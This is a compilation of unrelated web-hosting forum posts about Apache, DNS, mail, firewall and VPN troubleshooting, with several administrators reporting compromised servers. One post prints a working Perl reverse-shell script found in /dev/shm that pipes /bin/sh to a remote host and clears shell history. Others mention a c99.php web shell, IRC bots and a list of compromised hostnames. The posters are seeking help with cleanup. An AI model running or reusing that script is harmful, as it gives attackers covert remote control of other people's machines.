i have to Creat a new client in my Awstat / Plesk Panel ..
without domain
i just wanna test some programmers via the [url]..
but there is nothing open !!
i think mis-configuration of my Apache/httpd process inside
your VPS
[url]
[url]
i locate my httpd.conf file its were here
PHP Code:
[root@secure vb]# locate [url]
As posted in a previous thread I noted how I have been hosting with GeekStorage. After a little bit of investigation I found that a total of 593 (possibly more) website where being hosted on the same server as mine. I'm not sure if this is overselling but because I'm new to all this but I'm pretty sure it is.
Now, I'm looking on switching from GeekStorage to someone who doesn't oversell. I would be fine with 10-20GB of storage and >150GB bandwidth. Budget is 5-10$ a month.
so for over 3 weeks now pc-core.net had some problems with their servers and my accounts were just lost and no one answers my support tickets they just erase them, they disabled my account to support so i can only submit support tickets and click the link on the email.
they told me to email cshelpdesk.com to get my account moved to a new server and cshelpdesk is just telling me im SOL. they dont have access to the server i was at and basically to F off.
is there anything i can do? im basically just being ignored and they dont even have a number to them.
my forum is VB and its doesnt sent any email for users!
i check the options and everything looks fine ..
my vps had csf firewall installed ..
the csf.conf is
# Lists of ports in the following comma separated lists can be added using a
# colon (e.g. 30000:35000).
# Allow incoming TCP ports
TCP_IN = "53,1116,80"
# Allow outgoing TCP ports
TCP_OUT = "53,80,3306,1116"
# Allow incoming UDP ports
UDP_IN = "1116,53"
# Allow outgoing UDP ports
# To allow outgoing traceroute add 33434:33523 to this list
UDP_OUT = "53,1116"
# Allow incoming PING
ICMP_IN = "0"
# Set the per IP address incoming ICMP packet rate
# To disable rate limiting set to "0"
ICMP_IN_RATE = "1/s"
# Allow outgoing PING
ICMP_OUT = "1"
# Set the per IP address outgoing ICMP packet rate
# To disable rate limiting set to "0"
ICMP_OUT_RATE = "1/s"
and the version of csf is
[root@www csf]# /usr/sbin/csf -v
csf: v4.56 (generic)
[root@www csf]#
am useing centOS5 and ssh port 1116
am not useing any of control panel or ftp ...
the email i configured it with google.com/a services ..
my sys admin is currently in vacation and ovh staff cant help me much so i really appreciate if someone could help me tackle down this issue. I cant create ftp account at all heres what ovh said
Good morning,
Thank you to trust us, there is not my point of view or that of my colleague problem of the kernel compilation on your server or a file corrupted, and your Apache web server is functional, Status of the launch; after this command, via ssh:
/ etc / init.d / httpd start
Starting httpd: [OK]
We see that the port is open 80:
netstat-tanpu | grep 80
tcp 0 0 0.0.0.0:7080 0.0.0.0: * LISTEN 3071/lshttpd
tcp 0 0 0.0.0.0:80 0.0.0.0: * LISTEN 14349/httpd
From the outside, at this precise moment, we are able to establish a connection on port 80:
Telnet ks357687.kimsufi.com 80
Trying 91.121.148.X ...
Connected to ks357687.kimsufi.com.
Escape character is'^]'.
Get
<! DOCTYPE HTML PUBLIC "- / / IETF / / DTD HTML 2.0 / / EN">
<html> <head>
<title> 501 Method Not Implemented </ title>
</ head> <body>
<h1> Method Not Implemented </ h1>
<p> get to / not supported. <br />
</ p>
<hr>
<address> Apache/2.2.8 (EL) Server at ks357687.kimsufi.com Port 80 </ address>
</ body> </ html>
Connection closed by foreign host.
If I stop the Apache server:
/ etc / init.d / httpd stop
Stopping httpd: [OK]
More than 80 active port or connection possible from the outside:
In this case the connection of the exterior evidemment is not possible:
Telnet ks357687.kimsufi.com 80
Trying 91.121.148.X ...
telnet: Unable to connect to remote host: Connection refused
I am using Windows 2003 Enterprise Edition SP1 and i have recently set the computer up to 4GB RAM. I notice a problem occur error :
When I start the computer, Bios detected all 4GB Ram. However, i have checked Total physical memory in General (My Computer-> Properties) doesnot detect all 4GB Ram. it only detect 3GB Ram.
I have checked that this OS support up to 32GB . Why it doesn't detect all 4GB ?
What happen to it?
Mainboard : Intel chipset 915GL
I did following the instruction in internet (exactly is Microsoft) is /PAE in boot.ini file. But, it doesnt work.
Yesterday we registerd and created 2 domains in our server.
Everything is ok, files uploaded, dns zones created, httpd virtual host created...
The problem is that trying to browse the site trough http://www.site.com redirects me to [url] my main server IP address, this page shows a cPanel Welcome message.
But, using [url], the site is loaded ok, withouth any problems.
DNS zone shows:
Code:
; cPanel 11.11.0-BETA_16977
; Zone file for site.com
$TTL 14400
@ 86400 IN SOA mydns1.wolo.com. admin.hostingserver.com. (
2007092601 ; serial, todays date+todays
86400 ; refresh, seconds
7200 ; retry, seconds
3600000 ; expire, seconds
86400 ) ; minimum, seconds
site.com. 86400 IN NS mydns1.wolo.com.
site.com. 86400 IN NS mydns2.wolo.com.
site.com. IN A IP_ADDRESS
localhost.site.com. IN A 127.0.0.1
site.com. IN MX 0 site.com.
mail IN CNAME site.com.
www IN A IP_ADDRESS
ftp IN A IP_ADDRESS
Apache virtual host code
Code:
<VirtualHost IP_ADDRESS>
ServerAlias www.site.com
ServerAdmin webmaster@site.com
DocumentRoot /home/siteuser/public_html
ServerName site.com
<IfModule mod_suphp.c>
suPHP_UserGroup siteuser siteuser
</IfModule>
<IfModule mod_php4.c>
php_admin_value open_basedir "/home/siteuser:/usr/lib/php:/usr/local/lib/php:/tmp"
</IfModule>
<IfModule mod_php5.c>
php_admin_value open_basedir "/home/siteuser:/usr/lib/php:/usr/local/lib/php:/tmp"
</IfModule>
User siteuser
Group siteuser
BytesLog /usr/local/apache/domlogs/site.com-bytes_log
CustomLog /usr/local/apache/domlogs/site.com combined
Options -ExecCGI -Includes
</VirtualHost>
The email of my client doesnt receive certain emails from certain accounts, including my yahoo.com.ph account. After several tries I received this error instead.
After trying to send mail unsuccedfully several times, this is the error I am getting.
Hi. This is the qmail-send program at yahoo.com.
I'm afraid I wasn't able to deliver your message to the following
addresses.
This is a permanent error; I've given up. Sorry it didn't work out.
:
Sorry, I couldn't find any host by that name. (#4.1.2)
I'm not going to try again; this message has been in the queue too
long.
--- Below this line is a copy of the message.
Quote:
Originally Posted by copy of email
Return-Path:
Received: (qmail 90296 invoked by uid 60001); 25 Jun 2007 04:05:27
-0000
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
s=s1024; d=yahoo.com;
h=X-YMail-OSG:Receivedate:Fromubject:To:MIME-Version:Content-Type:Content-Transfer-Encoding:Message-ID;
b=GYMZ4utbLEJMc+EXHdW5Ng5ZJeCArXAubpEaUtZzZz77STh9HAGNhrFDjgfqNJ5BdE/
SAlCQ78wseeWPTqUFlalE246OSls0L2tnadTvmxHAQiALfIJ/efHw980subD/VVk6c3NZXGKaKn3vQwJ57bHW5a6qsWjazjl6BXp5Q20=;
X-YMail-OSG:
1iaqBZkVM1mfqTKSQPqhJwf61.zXtBuozzwn.p275yXXF_KgFA8taeSyThc.P1xawEKTuVIB
Vgxk18AHBp_TxSZD753CsOSTbU56JD1OgWwBl8GCwZNxI6YhJHPfyg--
Received: from [203.177.91.252] by web32604.mail.mud.yahoo.com via
HTTP; Sun, 24 Jun 2007 21:05:26 PDT
Date: Sun, 24 Jun 2007 21:05:26 -0700 (PDT)
From: *********
Subject: test
To: sales@*********.com
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="0-357102911-1182744326=:89673"
Content-Transfer-Encoding: 8bit
Message-ID: <979097.89673.qm@web32604.mail.mud.yahoo.com>
--0-357102911-1182744326=:89673
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
test
After migrating from the old ensim to the new "X", everything is working fine, except for the webalizer, I activated webalizer in one domain a few days ago.. and everyday Im trying to see the webalizer information, and it is always displaying this message:
Could not retrieve the requested site report because the Web server logs have not yet been generated. These are generated once a day. Please check again later.
I also tried forcing the log rotating for that site, but the problem still there.
Server is RHES 4 with EnsimPro X, log generation and webalizer is activated for the domain.
I configured monit to send me email alerts when apache is using too many resources but I cannot receive email alerts. I use Qmail.
As for syslog, there is this message:
monit[6473]: Sendmail: error receiving data from the mailserver 'localhost' -- Resource temporarily unavailable
I tried to add for server name the name used in MX record but with the same result.
Btw: other things configured in cron (eg. RKHUNTER) send me alerts OK.
im using centos and a perl script doesnt seem to work on my system.
it gives an error on this line.
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
$ua->agent("MyApp/0.1 ");
BEGIN failed--compilation aborted at line 8.
is it a problem with my perl or is it an error with the script?
I'm on windows vista. I've got an SDSL line into the house with a dedicated IP 62.etc. I've then got a Prestige 791R and all PC's plugged in to that. I've also got a wireless router for my Wii set up.
Basically I've set up this DHCP thingy to start at 192.etc.3 and the Wireless router is at 192.etc.1 and the Prestige is at 192.etc.2 my pc is at 192.etc.9
This is about where my knowledge stops unfortunately.
I have installed apache as the most basic default install I think you can and it seems to be working absolutely fine. I'm assuming I could also install PHP and MySQL etc and wouldn't have too much of a problem, however, my friend cannot seem to access the environment from the WAN IP and when I type in my WAN IP I get the prestige router's control panel.
I read somewhere that I needed to forward port 80, now I can 'open' ports in the prestige control panel but I did try opening port 80 in the control panel and pointing it to my LAN IP (92.etc.9) but it didn't seem to work.
I'm at a bit of a loss so if anyone could point me in the right direction I would be most grateful, just to clarify:
//localhost loads the html file 100%
//192.etc.9 loads the html file 100%
//62.WANIP internally loads my prestige routers control panel
//62.WANIP externally does not load a page (cannot be found)
If you need any more info just let me know and I'll get it.
I have a remote XP PC: 172.16.1.5 OpenVPN connection with route added for 192.168.2.0/24 to go via the VPN
Now on the other end the network consists of:
I have a OpenVPN server inside the lan on 192.168.2.245
Its default gateway is 192.168.2.1
I have 3 Windows Servers, 192.168.2.246, 247 and 248. All gateways are set to 192.168.2.1.
I have a ethernet router on the network, 192.168.2.1, it has a route added for 192.168.0.0/16 to go via 192.168.2.245, and route added for 172.16.0.0/24 to go via 192.168.2.245 also). the 192.168.0.0/16 is incase any other LANs are connected at a later date, if computers saw any packets not on the the 192.168.2.x subnet they would be routed to the default gateway which would then pass them to the OpenVPN router.
The trouble is, i can remotely connect and ping to the OpenVPN router fine and also the ethernet router, however when i ping any of the Windows boxes it times out. But i can open up Remote Desktop and connect to the windows box without problem, infact if i am running 'ping 192.168.2.246 -t' it will suddenly come alive but only after the RDP connection is made.
Is this something funny with the routing? I want to keep the OpenVPN server internal to the network and i appreciate it is hitting the ethernet router then being passed to the OpenVPN but something is weird as it fires up RDP fine but not ping. No firewalls are enabled on any of the boxes. If i log into ssh on the OpenVPN router or ethernet router i can ping from that to the windows boxes fine.
Its as if a ICMP redirect is issued, and all is well after the 1st connection. Not too sure but could anyone be kind enough to enlighten me?
My server which runs cPanel (license issued touchsupport) is having problems with handling emails.
I use an external DNS provider (editdns.net) only for this 1 particular domain for handling many Records and such. Through their panel, I have added my mail server's record, i.e. "mailserver.tld".
Now there is a problem with one part of the email issue. I have email piping setup and 1 webmail account setup too. These two work flawlessly. No issues with them. But email forwarding and default address doesn't work.
I am confident that the email settings are working right because, when my clients send an email, piping works and my support system creates a new ticket. But the email forwarding/Default EMail doesn't.
Not just that, I cannot even connect to the webmail account I created via POP3. I 100% sure that I used the correct login credentials and also tried the "+" and ":" for the username part. Just doesn't work. But I can access and read my emails via the Webmail (squirrelmail).
Please help me out with this as soon as possible.
to upload some flash videos over to our web host.
All the videos have been uploaded to << link removed >> and in there you will seea flash_video directory, in there should be a html file where you can double click and watch the flash video.
Now go ahead and try it, click on the HTML file and click CONTINUE and try clicking on MODULE 1.. You will see a video play to the left but on the right are bunch of POWERPOINT slides that will appear as the guy continues to speak. THAT DOESNT SHOW..
Our website is hosted by xo.com
Dont know much about the plan since its my 2nd day at the job..
But here is the weird part,
i have uploaded the samething - same exact way to another web host and it plays fine, the PPTs show up fine..
What do you guys think it is?
Before someone asks about uploading methods, i tried filezilla, coreftp and cuteFTP using both ASCII and binary methods. Samething..
Found a suspicious script running on a server in /dev/shm
Code:
#!/usr/bin/perl
use IO::Socket;
$system = '/bin/sh';
$ARGC=@ARGV;
print "Connect Back (S) 2007
";
if ($ARGC!=2) {
print "Usage: $0 [Host] [Port]
";
die "Ex: $0 127.0.0.1 2121
";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host
";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host
";
print "[*] Connecting... $ARGV[0]
";
print "[*] Spawning Shell
";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
system("unset HISTFILE; unset SAVEHIST ;echo;id;uname -a;w");
system($system);
#EOF
Removed it, changed all passwords, etc, anyone know how this might've gotten into /dev/shm? ( CentOS 4.4 )
We were tasked with helping a website owner find all the malscripts on his site and remove them. He, like many, learned that his site was delivering malicious code with an email from Google.
This website owner had tried removing the code himself and yet his site was still blacklisted by Google. This was killing his sales as anyone visiting with Firefox as their browser, or Chrome, were greeted with a big warning:
This site may harm your computer.
After about a week of trying to rectify the problem himself, he contacted us.
He provided us FTP access to his site so we could tackle it.
After downloading his site (which literally took 3 hours) we started scanning. We grep'd for the word "base64_decode" and found over 228 php files all with the following malscript (spaces added to protect the innocent):
Code:....
I have a valid ssl certificate for the website but it still shows address not found error. But sometimes it just works fine.
is it related to dns issue?
I do not know where to post this, I recently changed Hosts.
My domain through GoDaddy was changed to my new account that was setup, The issue is everyone else can see my website but me and I am not sure why?
On my end I get Server Not Found?
I can see my site through a Proxy and also I have shown the site to a few people and they have no issues accessing it...
For the first time after running a server for about a year I decided to buy a new server and in it I found out that there is a some sort of infection in it. What should I do next. The logs are attached in a n attachment.
Attached Files
rootkit.log.txt (9.4 KB, 70 views)
I cant visit my website! <snipped> everytime I go it says server not found. So I told some friends to go and they are able to see and visit <snipped> How is that possible?? They could and I cant? Yesterday same thing but then couple hours later it worked I could visit hmlegends.com but i didnt do anything and now today same thing server not found! i cleaned my history everything and still server not found!
So what I did is used a proxy <snipped> and then it worked!
But then I dont use a proxy SERVER NOT FOUND! Its like my IP cant reach hmlegends.com
I dont know how to solve this?!?? It just says server not found!
But it looks like everyone else could access it!
Anyways im using Firefox 2 but then maybe i thought it was my browser so switched to 3 so currently on firefox 3
and no its not its something with my IP cuz when i use proxy i could go to my site
but point is i dont wanna use proxy i wanna use my IP to go to hmlegends.com
Also im using Dial Up Internet!
I use AOL Dialer to connect!
Aol Dialer 4.8.8.4
I have recently brought a VPS hosting package. At the moment I am going through the tutoritals on the net that I have researched before getting a VPS package to give me some understanding on what I need to do to securior the server and also how to install the software that I require.
For most of today, I have been trying to sort out a problem that I am currently having.
Of which is I am trying to sort out a part of the tutorial from a website that requires the use of apt commands.
But for every command I am getting the message back apt..... Command not found. I am currently using the ubuntu operating system. And through some research, I have got the feeling that I might have the bare installation done on my server to just make it work.
Would I be right, and with the bare installation apt commands wouldn't be installed?
If I am, how would I go about installing the Apt commands and anything else that I might require?
I got a new BOX, i see 'cronjob' not working,
cronjob
-bash: cronjob: command not found
I installed
yum install vixie-cron.i386
Still
cronjob
-bash: cronjob: command not found
# cron
-bash: cron: command not found
how can i get 'cronjob' working?
I upgraded from Apache 1.3.7 to the latest copy
Everything works nicely, except the cgi-bin directory
When a user tries to access a script or even a standard text file, it throws up the error..
Not Found
The requested URL /cgi-bin/first.txt was not found on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
When they try and access the cgi-bin directory itself, they get
Forbidden
You don't have permission to access /cgi-bin/ on this server
Now, I've checked the httpd.conf file and this is what it has for Cgi-bin
<IfModule alias_module>
ScriptAlias /cgi-bin/ "/usr/local/apache/cgi-bin/"
</IfModule>
<Directory "/usr/local/apache/cgi-bin">
AllowOverride None
Options None
Order allow,deny
Allow from all
</Directory>
And the error logs say..
[Sun Jan 20 18:09:56 2008] [error] [client xx.xx.xx.xx] File does not exist: /home/goewowc/public_html/404.shtml
[Sun Jan 20 18:09:56 2008] [error] [client xx.xx.xx.xx] script not found or unable to stat: /usr/local/apache/cgi-bin/first.txt
The CGI-bin directory is chmodded correctly, the files are also chmodded and belong to the correct group
while am installing some programs there is some problem in my php
PHP GD Module Not Found
how could i install it in SSH root?
After going back and forth with the folks that are supposed to be managing my server they finally checked and found an irc bot. Here is their message:
I have found a irc bot running on your server. The binaries are located at /var/lib/texmf/.dat/. You can see the tar file which the hacker uploaded at /var/lib/texmf/. I have changed the permissions to 000 so that you can verify the files.
The user of the files are nobody. Hence it is clear that the files were uploaded via url injection using some vulnerable script under some domain. Unfortunately there are no helpful logs to find the exact domains and the vulnerable script. It is certain that the files were first uploaded to /tmp and then moved from there. You can see some similar hack files at /tmp/.dat, /tmp/var and /tmp/.dev12. Also the permission of /var/lib/texmf/ was 777.
You should update all your web softwares to latest version so that they will include latest security patches. Also I will recommend you to enable mod_security in your server to prevent further hacks.
Let us know if you want this to be enabled.
Our Security Technician found yesterday a 200 user botnet on a hidden IRC server and was able to quickly email the compromised systems information (just hostname) to our abuse email. So today i spent the last 2 hours sending emails off to web hosting companies, educational institutions and corporate companies telling them that their systems have been compromised, we regulary email out systems we have found compromised. The thing that stuns me is that most of the systems we found compromised on IRC are dedicated lines between 10MBPS to 1GBPS... I found a few hosting companies and will list them so they can be found by them:
lvps212-241-192-85.vps.webfusion.co.uk
wp056.webpack.hosteurope.de
wp097.webpack.hosteurope.de
wp049.webpack.hosteurope.de
wp055.webpack.hosteurope.de
m2.wrango.com - Dedicated Server with NetworkSolutions
server1.hostfree.com.br
My server use cPanel 10x
CentOS
how to fix this problem?
php: /usr/lib/libmysqlclient.so.14: version `libmysqlclient_14' not found (required by php)
I just found a script on a customers account after some problems they were having, they mentioned injecting php code, that immediately threw up a red flag, when i took a look i found c99.php
I checked up and this seems to be the web equivalent of a rootkit.
Are there any legitimate reasons for this script? The customer is one of the strangest i've came accross because he had the lowest fraud score yet, used a Lady's name at signup/payment, yet calls himself Michael and seemed to do something with WHMcs security wise.. i dont want to post details as checks are still ongoing but it seems to be a problem with Language scripts and the customer was able to sign up on a monthly plan but Biannually... so no more invoices till 2009 ... strange, although wether innocently this was done or is a known security hole in WHMCS is not known yet.
after a day of crappy performance from one of my VPS accounts, I decided to start digging, and found eggdrop, and couple of other not so nice files in my /tmp directory.
I panicked, of course, and removed all traces of anything I could find that was bad, so I've unfortunately got no way to see how it happened, as far as I know (but I'm far from a security expert)
I need your help in shutting the system down to users. This is an HTTP/SSH/SMTP/POP3/IMAP server.
Tell me what you need to know and I will do my best to get it to you. Basically I'm just frustrated that I've been on it for 3 hours now.....wasting time because some SOB was bored....
How can I found the spammer on our server?
one of our customer trying to send mail with a PHP file! but I cannot found this account, can you help me to found this user?